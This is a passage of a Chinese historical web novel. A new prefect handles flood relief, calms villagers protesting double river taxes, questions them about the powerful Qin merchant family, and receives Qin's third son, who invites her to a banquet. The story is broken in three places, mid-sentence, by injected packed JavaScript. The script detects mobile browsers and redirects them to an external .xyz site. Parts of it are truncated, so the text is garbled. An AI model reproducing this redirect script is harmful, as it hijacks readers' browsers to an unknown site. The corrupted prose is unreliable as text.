“粮从仓出，工由县招，每项工程设专官、立账册、张榜公示。敢有虚报冒领、上下其手者，按贪赃论处。” “赈济是权宜之计，重建才是根本。我渌州的五县百姓便是这重建之本。” 她话锋一顿，扫过满堂：“百姓能干事，官府也不养闲人。” “从今起，五县乡里设赈工所，各县县署设账房核数，由通判与户曹总督调度，知州府下派吏员驻地督办。谁安置不力，账册不清，一律逐笔查对，逐县对数。” “织布之棚，运木之段，筑堤之袋——凡属赈工之列，州府登记、五日一验，有工可量，有功可赏。” 她缓缓转身，步至座前：“至于在座诸位。” “今日之议，本官不追旧账，今后实绩为上。水退之日，便是问责之时。” “若谁自觉无能，可以当堂请辞；且——” “有功者，立状送京，名上奏疏；有失者，按律记过，逐条追责。” “若再有人借赈工之名行中饱之实，或以私误公、敷衍塞责——” “别怪本官届时不留情面。” 这话若放在一月前，众人或嗤之以鼻，或心生轻慢——只当是新官上任的空言恫吓，转瞬即过。 可此时此刻，堂下数十官员尽皆屏息敛声，不少人汗出如浆。连先前尚抱侥幸之心者，此刻也不敢再妄动一言。 瞿宝砚缓缓拢袖坐下，声音平缓，却掷地有声： “灾难当前，我不奢望人人是良吏贤臣，但绝不能是贪赃枉法、坑民误政的庸徒。” “这一次，是渌州百姓在看你们；下一次，便是京城在看我。” “若我不杀一人，便能救十万；但若杀一人，才能救十万——” “本官，照杀不误。” · 堂上议事未歇，外头却忽起了骚动。 “报——！”一名衙役跌跌撞撞奔入堂中，声音带了几分焦急，“禀大人！外头……汀水县的百姓闹到了衙门口，说县里去年收了双倍河税，结果今年水一来，堤说塌就塌，连夜冲了庄稼地，如今颗粒无收，想讨个说法！” 堂中众人一震，汀水县令面色瞬变，强作镇定起身：“大、大人，都是些刁民，怨不得朝廷，修堤本是善政，这些人怎能因天灾怪到官府头上……” 话音未落，另一名衙役紧随其后奔进来，气喘吁吁：“禀大人，门外聚了上百人！男女老幼都有，有的拿着锄头、钉耙，有的还抬了破筐烂箩、披麻戴孝，说要见官，还说——要讨个‘命账’！” 堂中气氛顿时一紧，伍秋才起身：“知州大人，这些刁民闹事也不是一回两回了，趁乱便要讨些便宜，都做惯了，容卑职立刻调兵前往驱散，请您先退入内堂避一避，以免受惊——” 瞿宝砚抬手打断，问：“来的都是些什么人？” 衙役拱手道：“多是乡里的青壮，也有些年老的农户，但个个看着都不是好惹的——手里拿着钉耙锄头。大人，他们不似寻常上访，想必是来闹事的。” 瞿宝砚静默片刻，叹道：“带锄头来的，说明他们是种田的，刚被水冲了田；连老人都上了路，说明是真受了委屈。” “连命都豁出去上衙门要说法。” 她不顾众人劝阻，起身整了整蓝色官袍，语声坚定朝外走去：“我是这州的官，该由我去见他们。” 身后人劝道：“大人，大人——不如等等守备司的兵到了再出去——外头乱得很，听说已经有人往门板上贴白布，拿棍棒敲锣吆喝了，万一动起手来——” 瞿宝砚踏出衙门门槛时，衙门前已乱作一团，百姓们看到一个穿着宝蓝官袍的官人独自走出，瞬间喧哗声大作： “来了来了！有人出来了！” “是不是她！听说是新来的州官——” “她来干嘛？还不是要把我们赶走！” 有人高喊：“问她！我们的田怎么办？我们孩子喝什么吃什么！娘死了，坟头都给水冲了，谁来赔！” 人群激愤如潮，竟一拥而上。 守备司的人还没到，守门军吏只寥寥数人，还未来得及组织防线，人群蜂拥而至，瞬间就将瞿宝砚围了起来。 有人抬起锄头，有人扬起手中烂草编成的幡帛，空气中混着雨后湿土与旧麻布的酸气。 分明是几近失控的冲突场景，锄头高举，吵嚷四起，百姓情绪汹涌如潮，府兵惊声待命—— 瞿宝砚却不复方才堂上的肃然威势，她站在那里，身形笔直，宝蓝官袍在风中微扬，目光却平静柔和，毫无惧色，反而多了几分从容温厚。 仿佛不是在镇压一场民乱，而是在迎接一群远道而来的乡亲。 忽有一物从人群中飞来，是一根粗竹枝，险些砸中瞿宝砚的前额；紧接着，人群中一只瘦老的手忽然伸出来狠狠一拍，将她头上乌纱帽拍落在地。 身后衙役大惊失色：“大人——！” 瞿宝砚身形一晃，没顾及掉地的帽子，而是先伸手扶住那出手被挤出的老妇：“老人家，小心跌了身子。” 那老妇怔了一怔，动作顿住，原本愤怒的面孔竟一时间没了反应，愣在了原地，而周围的人将这一幕看在眼里，竟也忘了继续高喊，怒声就这么渐渐平息了下来。 一时间，乱哄哄的府前竟沉出了一片静寂。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106296|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >瞿宝砚趁隙弯腰拾起落在地上的官帽，轻轻拂去灰尘，并未戴上，而是提在手中，接着目光缓缓扫过眼前这一群满身泥水、神情愤懑的百姓，缓声道： “诸位乡亲们远道而来，一路辛苦了。我叫瞿宝砚，是新任的渌州知州，大家有什么困难，可以跟我说，我能替大家解决。” 她语声虽不高，却像一口温水，顺着雨后潮湿的空气，缓缓浇在躁动的人群中。 “我知道，乡亲们不远长路来，不是为了闹事伤人，而是为了讨一个说法。” 她顿了顿，望向最前那几位神情激动的青壮与老妇，语声柔和：“这次大水淹了你们的田，那是你们一锄一锄辛苦刨出来的，水冲了粮、淹了屋，心里痛，我也心痛。你们去年交了税，说是修堤护田，结果堤塌了，这口气咽不下去，我也咽不下去。” “今日我站在这，大家有什么话，什么冤情，什么委屈，全都说出来。说清楚，讲明白，我也才能帮到大家。” “大家说呢？” 堂前众人面面相觑，原本涨红的怒意像被冷水淋了头，纷纷低下声音，有人张了张嘴，却一时不知如何开口。 瞿宝砚又道：“我知道大家有许多话想说，大家不妨推几个乡里能说得上话的，代表乡亲们，一件件来说。我今日就坐在这里听，谁也拦不住你们的说法。” 她又朝身后衙役一抬手：“带人去前堂空院，安排下热水和干粮，叫大家都歇一歇。谁来了，都是本州人，不能叫人空着肚子说话。” 这话一落，原本焦躁的人群像被稳住了阵脚，不少人心中惊疑未定，却也渐渐安静下来。 那老妇似乎终于意识到，怔怔看了瞿宝砚片刻，眼中原本燃烧着的怒火，不知何时化作了一汪热泪。 她颤巍巍地伸出一只满是老茧与泥垢的手，紧紧握住瞿宝砚的手，声音里夹着雨后的凉意与一夜未眠的疲惫，哭出了声来： “真对不住，大人！大人呐……我们苦啊——” 一声“苦”，仿佛从胸腔深处硬生生拽出，压抑了太久的委屈，如潮涌般扑面而来。 瞿宝砚手腕一紧，看着那双冰冷粗糙却死死攥住她的手掌，她五指收紧，反握了回去。 · 数骑正停在渌州府衙不远处。 前头一人勒缰停步，望向前方。 “好一出鸡飞狗跳——新官上任，还以为能整肃一二，如今瞧着，不过是换汤不换药。” 陆尚言眯眼笑了笑，嘴角一挑：“你说，这渌州知州要怎么收场？” 身侧人淡淡道：“用不着你操心。” 陆尚言闻声一怔，转头望去，笑意深了几分：“哟，季小爷，这话可不像您平日的口风。” 他歪去半个身子，语气打趣：“怎么，跟这位知州大人有旧？” 季凌也眼皮都没抬一下，只回了仨字：“话真多。” 陆尚言反倒来了兴致，追问不休：“啧，真认识啊？什么关系？亲戚？旧识？还是……” 季凌也挑眉，语气凉凉：“不认识。没关系。” 陆尚言挑眉一笑：“那你方才护得倒紧——” 话未说完，季凌也抬眸轻轻掠了他一眼，看傻子似的：“还用说么？今科三元及第，能中状元的，还能坐这个位子，靠的若是运气——这官场早得关门了。” 陆尚言一愣，忽而笑出声来，看向人群中那抹孤直的背影，语气意味深长： “那就更要会一会这位知州大人了——” 35. 香饵暗钩 堂檐下细雨绵绵，泥痕未干，空气中仍带着潮意。 瞿宝砚遣散了堂内官员，各归其职，又命人将院外百姓引入前堂。 村民们自打出生便只在远处望过这座州衙的朱漆大门，谁曾想有朝一日能踏进这片衙地。如今得以入内，一个个虽衣衫未整，却仍本能地压低了声气，东张西望间，神色皆透着拘谨与好奇。 好在堂中早已备下热水与干粮，有人送上一碗水，便小心捧在手心，如获重宝。众人得了歇脚之处，渐渐安定下来，依序坐在廊下，不再喧扰。 几张粗木长凳被衙役匆匆搬来，横列一排，雨声打在檐瓦，寂静中更显清冷肃穆。 瞿宝砚整了整衣襟，重新戴上乌纱，挽起袖口，示意几人入座。 为首的女人一身灰布衣裳，膀阔腰圆，脸庞红实，坐下时两手交叠在膝上，却一脸不怯。村里人都称她“张大姐”，她也确实当得一个“大”字，性子爽利，是个热心肠，在村里颇有威信，谁家有个难事，她总是出头出力，乡邻里上下皆服她一个“理字当先”。 她也是最先开口的，看着大家伙道：“大人肯听我们说话，真是再好不过了，那我们也就斗胆回话，一五一十把话都跟大人说清楚。” 瞿宝砚点头，问道：“方才你们在外面喊得‘双倍河税’是怎么一回事？” 张大姐清了清嗓子，往前挪了挪凳子，嗓音脆亮：“大人一问就问到点子上了，这双倍河税，是从两年前开始的。” “那年渌江发水，冲了汀水那边一小段堤，说是要集银修堤，临时加了水利捐。我们也认了，乡里谁没两担水靠河过日子？可这一年拖到第二年，堤没见修完，税却翻了一番，说是‘加紧筹银、延年施工’。” “可我们看着那堤，修得反倒还一年不如一年，石料一车车拉，半夜拉出去，天亮就见不着影。问管堤的役头，役头推给工司，工司说没收到银子。那银子去哪儿了？没人知道！” 她语气越发愤然，双手压着膝盖，重重一拍：“今年更过分！明明村里大伙都已经交了地税，里正却来催说，还得交一份‘河道安全费’，还贴了官票子，说是州里下的文书，要‘防未然之患’，这不就是原封不动地又收了一遍？我们问他们凭什么——说是‘上头意思’！” 她无奈托手拍道：“可我就问一句，这‘上头’，到底是哪个‘头’？” 廊下人听得一阵骚动，不少百姓低声应和。 张大姐喘了口气，又道：“大人，庄户人家一年就种那点地，春种秋收，我们是汗滴地里换几个铜板，如今一年下来，租是交了，税是交了，借了银子还不上，饭都吃不饱，还得卖田地。可卖的不是地，是我们的命呐！” 她抹了把脸，语气低了些，却愈发沉重：“我们不是不肯交税，只是，不知这税收去哪里，收到什么时候。若是正经事、明白账，我们勒紧裤腰也认了。可这两年，我们是越交越穷，越交越怕啊——” 她说到这儿，喉中哽住，转头望了一眼瞿宝砚，眼神又直又重：“大人，您要是信得过我们，就请替我们问个明白。别让我们一辈子都种地，到头来田不是自己的，连命也不是自己的。” 张大姐话音刚落，汪四子便咬了咬牙，也开了口。他才十几，瞧着黝黑的皮肤，也正是血气方刚年纪，声音字字带力，像是早憋了一肚子话，此刻一吐便止不住： “我家五口人，爹娘身子都不好，弟弟才九岁，连字还不识。我姥姥，六十七了，以前冬天还坐得住炕头上缝衣裳。可今年开春也开始翻地，她就下了田，腿弯着，手撑着锄头，一锄一锄跟我娘换着歇。” 他低着头，像是不愿叫人看见眼里压着的火气，“我们家原有三亩水田，是我爹留下的，勉强糊口。可年年都有旱灾洪涝，又加了这乱七八糟的河税，一年比一年多——到了今年头，我们实在撑不住，想卖掉半亩地好歇口气。谁知道这时候，秦家的人来了，口气比衙门还硬，说那块地原是他们租给我们家的，要我们‘还地’。” 他说到这，猛地抬起头，眼中通红：“可我们种了几十年，哪一年不是我们家交的税？那地契上，分明写着是买断的！他们说是租子，就变成租子了？再问官里，人家说契文残缺，要我们自去论理——大人，我们，我们乡下人没有机会念书，哪识得几句官话？又哪说得过他们那些请来的牙人？” 他声音忽然高了几分：“他们仗着有钱有势，一开口就是‘谁敢拦我们？州里也管不着’，我们就得忍？就得卖命？” 说着说着，他站起身，双手紧握：“我不信天理全叫他们搬了去！今日既然大人愿听，我们便豁出去了。我家姥姥都敢下地干活，我汪四子也不怕给家里讨个公道。” 他这一番话，说得堂下不少百姓动容，不少老乡轻轻点头，有人叹气，更有几人红了眼眶。 堂中沉寂了片刻，只有雨后风声穿过屋檐，吹过堂口。 瞿宝砚缓缓开口：“秦家？” 她抬眼望向汪四子，又扫了张大姐与村正一眼，语气不动声色：“你们说的，可是在渌州开绸缎行的秦氏？” 村正闻言，脸上闪过一丝复杂神色，拱手点头：“正是。大人既听过秦家，那想来也知这户人家，虽不是官宦出身，却早成了半个土皇帝。” 瞿宝砚没有回应，静静望着他，等他说下去。 村正见她愿意听，便慢慢挪动身子往前凑了些，语气压低，带着多年积压的沉重：“这秦家，表面是开绸缎铺子，叫个‘秦源堂’，在渌州有三处大铺，外人都道他们做的是南货生意。可真要说起来，秦家这几年赚得盆满钵满的，可不是靠绸缎。” 他顿了一下，抬手一指院外：“您看这渌江两岸，从堤防修造到漕船码头，再到近两年收地改渠，哪一桩没他们插手？他们跟堤防役头、盐运牙行、还有库司的几个吏目都打得火热。” “咱们老百姓不知道账怎么算，但知道人。凡是秦家看上的田，不管谁种着，年头年尾都得想法子卖出去，不卖，就等着堤漏水、地淹了，或者突有差役上门，说地契不明。往年里地契一查便能对上，现在却总说‘文书模糊、待议’。可一旦归入秦家手里，三天两头就能批下来，连田税都减一半。” 张大姐在旁冷哼：“这事谁都知道，就是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120986|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人敢讲。秦家那三少爷，年纪轻轻，模样倒是周正，说话一口文气，其实黑得很。听说绸缎铺后院里，就关着个账房，专替他们出主意，抄契改契，从来不露面。” 村正叹息一声，摇头道：“秦家大公子管铺子，二小姐打点关系，三少爷出主意……如今全渌州从州里到村口，有哪一处没有秦家影子？大人若要动他们，怕是……” 他话未说完，话头却止在了半空。 瞿宝砚却只微微一笑，语气仍旧淡然：“你说的是怕。我若真怕，也不必听你们说话了。” 她顿了顿，又道：“这些事，县里衙门的账上都查不到？” 村正摇头：“官账，写得是堤工支银、田税通册，可咱知道，里头人容易查，外头的他也防着啊，那银子早转了好几道手。铺子不记账，牙行不开单，都是口传手递的生意。” 汪四子也接口：“哼，这些年堤没加高，税却年年加！买地的只一家，卖地的却是一条街了！” 瞿宝砚听着，眼中已有波澜。 她轻声一句：“好一个‘只一家’。” · 夜色渐晚，堂前雨声渐歇，檐下灯火一盏盏亮起，照得院中湿石发光。 村民们今日也算没白跑一趟，心中得了交代，又吃了干粮，歇了脚，大多数人自知天色已晚、家中牵挂，便陆续起身告辞。 瞿宝砚立于阶前，目送众人离去，直到最后一批村民走出衙门，这才转身，又唤住了尚未离去的张大姐、汪四子与老村正几人。 “几位且留一步。” 说罢，她侧首看向身后的随员，唤道：“方奎。” 方奎抱拳：“属下在。” “今夜你带几人，随汀水县的村民一并回去，一路护送，顺道查验县里堤防修缮情况。” “是！” 她又转回头来，对张大姐几人缓声道：“这是我亲派之人，叫方奎，你们若在村里遇到什么急事，可随时告诉他，他会转呈于我。” “今日诸位所言，我都记在心里，诸位也都在州府庇护之中，不必担心有谁敢来威胁报复。” 她说着又拱手躬身：“如今渌州受灾，灾后重建，乡里是根，百姓是本，还要多仰赖村里乡亲们的力量。” 几人吓了一跳，张大姐连忙拱手，粗声道：“您是大人，我们怎么敢受您的礼，今天，您肯听我们说话，我们全村人都已经是感激不尽了，没想到——” 没想到他们渌州也能迎来这样一位好官。 张大姐眼睛有些红，嗓子也有些哽咽：“这番情意，大家伙都记下了。大人之后有用得上我们的，都只管开口。只是秦家……恐怕不好对付，您既要管，就要处处留神，别叫咱们的心意，反倒拖了大人的后腿。” 汪四子也道：“我们在乡下，能做的不多，顶多是张口说几句，再就是出力！但要是您需要，别人不敢说，但我哪怕就是挨打，也肯为大人站头来！” 老村正长揖一礼：“只愿大人处事周全，保重身体，别叫咱老百姓的这点盼头，又冷了。” 瞿宝砚缓缓点头，淡淡笑道：“诸位放心。” 36. 香饵暗钩2 一顶官轿缓缓停在知州府前。 轿帘掀起，瞿宝砚自轿中稳步下来。 雨尚未停，青石地泛着薄薄的水光。 她脚方落地，便见宝桃儿撑着伞小跑着迎上来，手里还抱着一件干净披风，气息微喘：“大人，您回来啦。” 瞿宝砚点头：“回来了，今天怎么到府外来接我，外面还下着雨，回去吧。” 宝桃儿却压低声音，吐了吐舌头：“小姐，可不是我今天勤快……是今天来了个客人说要见您，我说您不在府里，有公务在身，可那人怪得很，说什么也不走，非要等，从申时等起，一等就是两个时辰。” 她往前努努嘴：“喏，现在还在那门房里候着呢。” 瞿宝砚顺着方向望去：“谁？” 宝桃儿想了想，语气有些不确定：“好像说是——秦家的三公子？” 瞿宝砚脚步微顿，轻声笑了一下：“秦三公子？” “倒是有心了。” 说罢，她拢了拢衣袖，语声不紧不慢： “见客吧。” 门房一角，一道身影静静站着，背对着门口。 那人身上一袭黑色窄袖长衣线条利落，布料细腻，在昏黄灯下泛着淡淡冷光。衣襟内系一方墨玉，不显招摇，反透出几分清冷。他肩背挺拔，身形修长，一动不动，仿佛已在此立了许久。 他不言不动，连门房的老仆都只敢在一旁小声咳嗽。 就在此时，门外忽然传来脚步声。 老仆赶紧起身行礼：“大人！” 等候那人闻言眸光微动，缓缓转过身来。 雨光未褪，他那张脸在灯火照映下更显清隽，面容俊朗却不沾半丝烟火之气，仿佛早将七情五欲练入骨里。那一身黑衣，配上温润语调，乍一听似玉石流音。 他含笑颔首，斯文地拱手：“瞿大人，夜里叨扰，冒昧之至。” “在下秦致棠，在家排行第三，字温棠。” 他神色谦和得体：“前些日子听闻大人新任渌州，未及登门拜访，实是失礼。今夜冒雨而来，本也不敢惊扰清夜，只是……心中挂念一事，恐有误会，便斗胆一等。” 瞿宝砚淡淡一笑：“秦公子客气了。大雨方歇，夜风寒重，既已等了两个时辰，不如进屋一叙，用盏热茶，暖了身子再走。” 秦致棠一怔，眼中神色微动，却不动声色。 他原以为今夜这扇门未必会开，即便开，也多半是一句“公务繁忙，改日再叙”。他甚至已预备好被婉拒的说辞与礼让，未料这瞿知州竟如此从容，连讽刺都未曾给他一个字。 想来这一个月听到的有关这位新任知州的传言，他轻轻一笑，收敛眼底细光，复又执礼： “那便恭敬不如从命。” 夜色沉沉，知州府正厅灯火通明。 下人奉上热茶，又轻手轻脚退了下去，厅中只余两人对坐。 茶盏中热气升腾，香气清雅。 瞿宝砚端茶轻啜一口，语气平和先开了口：“适才听秦公子自报家门，表字温棠——” “‘春棠初未语，温意入疏枝。风过犹自静，人如花影迟。’此‘棠’字得其韵，想来起名之人，极识风骨。”说罢，她望向秦致棠，眼中带着一丝似有若无的笑意，淡声道：“若无家风涵养，轻易起不出这等字眼。不知秦三公子家是做什么的？” 秦致棠微一拱手，轻声道：“大人谬赞。家中不过做些贩绸生意，家父家母也未读多少书，只是爱好诗文，偏喜清辞。” 瞿宝砚轻放茶盏：“贩绸？看来秦三公子就是‘秦源堂’的少东家了，那如今是做南货买卖？” 秦致棠闻言，微一颔首：“是，我家先祖原在扬州织局做管事，后辞官经商，转做南货买卖，绸缎、布匹、褙子、纱罗……皆有经营。如今不过三铺两仓，谈不上什么大生意，只算地方一户寒门罢了。” 这话说得清楚，清楚到像是早就备好的说辞，铺得稳当，话里不见半分涉政之意，连“铺仓”数字都标得恰到好处，既不寒酸，也不炫耀。 “秦公子话说得倒公允，这‘秦源堂’享誉渌州，谁人不知，这若只算‘寒门’，那在渌州也只此一家‘寒门’了罢。” 茶香袅袅，仿佛不过一句闲话。 秦致棠垂眸，指腹缓缓摩着茶盏边沿，似无所觉，语声依旧清润：“人言纷纷，难免夸大，家中诸事杂乱，也多有不周。若有地方令大人挂心，温棠必请父兄省察，早做改正。” 瞿宝砚只轻轻略过，又道：“秦公子排行第三，那家中想必还有兄姊？不知都从何业？” 秦致棠答得不紧不慢，举止从容：“府中兄姊各有所长，长兄致远操持店务，二姐曼瑛善理人事，惟我才疏学浅，自小性子寡淡，拘在账房里较多，打理出入，偶尔管管进货、催账、通票，也谈不上什么‘掌事’，不过是借兄姊庇护，混碗饭吃。” 瞿宝砚淡淡一笑道：“三公子一表人才，谈吐不凡，倒不太像‘只管账本’的人。” “哦？”秦致棠看她一眼，眼底也泛起笑意，“大人既说‘我不像管账本的’，那不知，在大人眼中，我像做什么的？” “像个读书人。” 秦致棠笑道：“大人可抬举小人了，小人平日所为，不过是看些闲书、记些账，写写货单，应些舆图，可比不得大人日理州务，肩挑万民。” 瞿宝砚听罢，微微一笑，未置可否，只轻声回道：“管账的人，最识流转；写舆图的人，最知来路。三公子若真只是‘混口饭吃’，这渌州倒真是藏龙卧虎了。” 秦致棠闻言眼中微光一闪，茶盏不动，唇边笑意却似比方才淡了些。 他缓声道：“大人言重了，小民不过一介生意人，只识银子来去，不通官道。” 瞿宝砚话锋一转，语气仍温不减：“那今夜三公子来我府上，既不是谈书论词，也不是政务公事，不知——所为何来？” 秦致棠动作一顿，轻轻一笑，将茶盏放下，语声不疾不徐：“大人既点明，那我也不妨直言了。今夜冒雨造访，实是因白日州衙传出民情在上，听说塌堤一事牵连甚广，而市井间诸多言辞，竟将些莫名矛头指向了我秦家。” 他略顿片刻，敛声一叹：“我秦家几代人，从无到有，将这桩生意做到如今这般地步，实属不易，门下工丁百余口人要养，皆靠生意买卖。可也明白——‘钱多不是福，富处常招祸’，财盛之下，是是非非也多。外头说什么‘享誉渌州’，听着风光，实倒像是引得诸鬼来啃的糖罐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125211|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他语气更缓，一派恭顺：“家兄得闻百姓上州衙之事，原是劝我静观其变，不要冲动。但我思来想去，听闻大人素有清名，治事公允，必不容流言作伪。倒不如我亲登府门，说个明白，还家里一个清名。” 瞿宝砚神色未动，静静听着。 秦致棠目光敛定，不卑不亢：“我家虽不登官道，却自幼被教一理：买卖之事，贵在清白。凡所经手之地契、货据、兑银、配仓，皆有白纸黑字、章契在案。市井之物，有价可议；田地之契，有名可查。说到底，每一笔生意，每一个字据，皆是你情我愿。” 说到此处，他语调微顿，像是不愿说重，却又不得不说：“至于外头传言，我不敢言全无虚实。只是做生意的都知，风声最轻，却传得最快。若任其蔓延，便易失真。” 他抬眼望向瞿宝砚，目光清澈而诚：“小人今夜只求一事——大人若真要查，便请查得明明白白，条目对得上册，银两对得上账，不叫小人们将风声当实据，将民口当判书。如此，才是真正的公正。” “大人以为呢？” 瞿宝砚闻言，目光不动，缓缓抬眸道：“那是自然。” 她语气温和，眼神却沉静清冷： “既是官府办事，不论查何事，都讲一个‘证’字。没有证据，谁也冤不得；有了证据，谁也护不住。秦公子不必担心，也不必为此特地跑这一趟——亲自来教本官怎么做。” 秦致棠闻言立刻起身拱手，连连致歉：“是小人孟浪了。方才多言，若惹大人不快，致棠先行赔礼。” 他错认得从容，却丝毫不显怯意。 未听瞿宝砚再说什么，秦致棠稍顿片刻，又复坐下，语气一转，带了几分感慨：“秦家虽为商贾出身，也在渌州扎根世代。听闻近日五县灾情严重，家中也是忧心不已。又听闻大人连日亲巡堤口，彻夜未歇，实为州民之福。只是——灾后之事千头万绪，劳心耗力，想来大人与州府众人，皆正为此事费神。” 瞿宝砚眸光微动。 他抬眸，眼神微敛，却分外认真：“若大人不嫌弃，温棠或有一法，能为渌州之困解一二，也算尽一份绵薄之力。” 瞿宝砚这才抬眸看向他：“哦？不知三公子有何妙法？” 秦致棠微一抬手，却轻轻一叹，露出几分“恰到好处”的为难：“诶呀——不过今日实在时辰太晚，大人又劳顿一整日，奔波调度，审理民情，不忍再叨扰清夜。” 他说罢，缓缓起身，衣摆微动，语气恭敬中带着一丝笑意：“若大人真有闲暇，秦家斗胆设宴一席，后日正午，于清漪馆小设家宴，还请大人赏脸光顾，届时细细奉告。” 秦致棠说完，姿态得体、语气温和，像真心为她着想一般。 瞿宝砚不动声色地抿了一口茶，心底却轻轻一笑。 这是故意留个钩子吊着她？ 若她真想知道，便得按他的时间、他的地点赴他的局——这等投石问路、抛钩引鱼的手法，这位三公子倒是做得清楚明白。 瞿宝砚并未挑破，只淡淡一笑，将盏放下：“也罢，忙里偷得一闲。清漪之约，三公子一片心意，若我不到，倒是怠慢了此地人情。” 秦致棠含笑作揖：“如此，便静候大人光临。” 37. 风裁初会 夜雨不知何时停了，窗外隐有微光，天边浮着一线浅白。 渌州雨停的这日，是连绵数日阴晦之后的第一个晨晴。 水气未散，远山云脚低垂，街边檐角仍滴着昨日残雨，偶有犬吠，打破这初晴的沉静。 知州州衙，晨钟未响，却早早就亮着灯。 一盏青灯静燃，几案之上，文书成堆。帘外微风吹入，带着青草泥土的气息，将屋内烛火吹得摇曳不定。 瞿宝砚坐在案后，神色清润，眉目却不见倦意，手中执笔，正一页页检阅各县递来的灾后回报。 一名值房小吏快步而来，在门外躬身禀报：“启禀大人，岳临知县求见。” 瞿宝砚颔首：“叫她进来吧。” 外头脚步轻响，门帘一掀。 一道挺拔身形快步而入。 岳临知县杜彦然，年约三十七，举人出身。她历经调任数地，手上虽无大功名，却办事谨慎，少出纰漏。一身官袍整肃，皮肤略黝，双鬓收紧，眼角微见风霜，却不显疲惫，反添几分历练后的利落。 入厅即拱手施礼：“下官杜彦然，拜见知州大人。” “杜县令。”瞿宝砚微颔首，放下手中笔，道，“州中事多，杜县令一早来此，可是岳临县有何要事？” 杜彦然闻言，神色凝了几分，沉声应道：“正是。前些日子水患之后，清阳、汀水灾势尤重，大人多将目力投向北境三县，实属情理。但岳临虽受灾不重，却——另有难处。” 她稍顿，望向瞿宝砚，见她沉静听着，继续道： “我岳临县丘壑遍地，田耕亩数不如其他四县，却也为渌州粮仓之一。那日大人言，‘仓储尚在，可开义仓、安流民、作粮源’。下官听后，心中亦是振奋，回县后便着手清点仓储、盘查户口、调配余粮，原欲尽快安置流徙，支援邻县。” “只是——”她眉头轻蹙，语气低了几分，“清点一番后才发现……仓虽在，粟却空。” 瞿宝砚道：“此话怎讲？” 杜彦然：“府仓三分之一为上年赈冬所用，余者则因前月转调，依旧未补。再者，堤圩虽未崩塌，却有十余村田地渍水，农人失耕，如今又断种断粟，民间仓囤早空。” “岳临虽得以避过灾口，却难言富余。此刻州中欲以我县作仓储支援，不啻于‘抽筋剥骨’。下官忧之再三，斗胆来报，实非推托，只恐不能如大人所愿，便是误了调度，伤了百姓。” 瞿宝砚手指轻扣几案一角，似在思索，缓一抬眸道：“上次堂议，李通判说岳临仓中尚余一万石粮，可作今夏全州调拨之用。此言确否？” 杜彦然拱手躬身答道：“李通判所言不虚，确是如此。但下官回县清点后才发现，所存尚粮不过七千石，因另三千为霉粟，不能发放。” 她顿了顿，又补道：“李大人并未谎报仓名，只是……恐怕未来得及核实现今仓实。” 瞿宝砚静静听着，语声清明：“岳临粮仓所余不足七千石——这五县最稳妥的一处尚且如此，其他几处也未必好到哪里去。” 她顿了顿，又道：“若照这个比数，整个渌州眼下真正可动的粮，恐怕也不过三万石。” 厅中一时寂静。 岳临县令面露忧色，低声开口：“那该如何是好？这三万石，只怕也撑不过月余。” 瞿宝砚却神色未乱，语气平和：“会有办法的。” 她将手中朱笔轻轻放下，抬眸望向她：“靠山吃山，靠水吃水。仓中之粮若不够，就另寻出路。” 她想到什么，问道：“我记得岳临丘陵众多，杜县令可知山中有何产物？比如野菜、山果、瓜藤一类？凡可采可食、充饥之物皆可。” 杜县令闻言道：“回大人，岳临山林确是极广。按往年之例，闹荒时，百姓常会上山采些野物果腹。” 她略作思索，继续道：“山中有野葛、苦薯、地瓜藤，偶有野菱、芡实，另有一种名为‘山苓’的小果，色黑味甘，能充饥，但多生在高岭，采摘不易。还有一类‘赤藤’，藤根可煮汤，耐饥却涩口。” 说罢，她眉头微皱，又道：“只是这些野物多为生僻之物，难采且难烹。山民虽识得法门，寻常人却不易入口。有些煮不熟的，还容易上吐下泻。” 瞿宝砚听罢，点了点头，沉吟片刻，忽而道：“派人先运些来州衙，我亲自看看。” 杜彦然：“是。” 她话音刚落，一名小吏又来通报：“启禀大人，前厅来报——琅州州衙派人来了。” 室中一静。 杜彦然望向堂上，只见瞿宝砚问道：“来人可报上姓名？” 小吏道：“领头那位自称姓陆，是琅州知州府的人，另有三人随行，求见大人。” 瞿宝砚起身，对杜彦然道：“你同我一道吧。” 杜彦然拱手：“是。” · 渌州州衙内一派肃静，屏风后侍从已将茶盏安置妥当。 瞿宝砚步入堂中时，几人正立于堂前。 领首者年不过弱冠，身着青蓝长衫，神情温文尔雅，拱手一礼，道： “在下琅州别院幕僚陆尚言，奉我州韩知州之命，特来通报水事，叨扰瞿大人。” 瞿宝砚颔首，目光却又轻轻一转，落在他身后一人身上。 那人衣饰与其余数人皆异，一身石榴红长衫，鲜艳得晃眼，想忽视也难。姑娘家也未必敢穿得如此张扬，偏落在他身上，却如他天生该如此般，不见半点不妥。 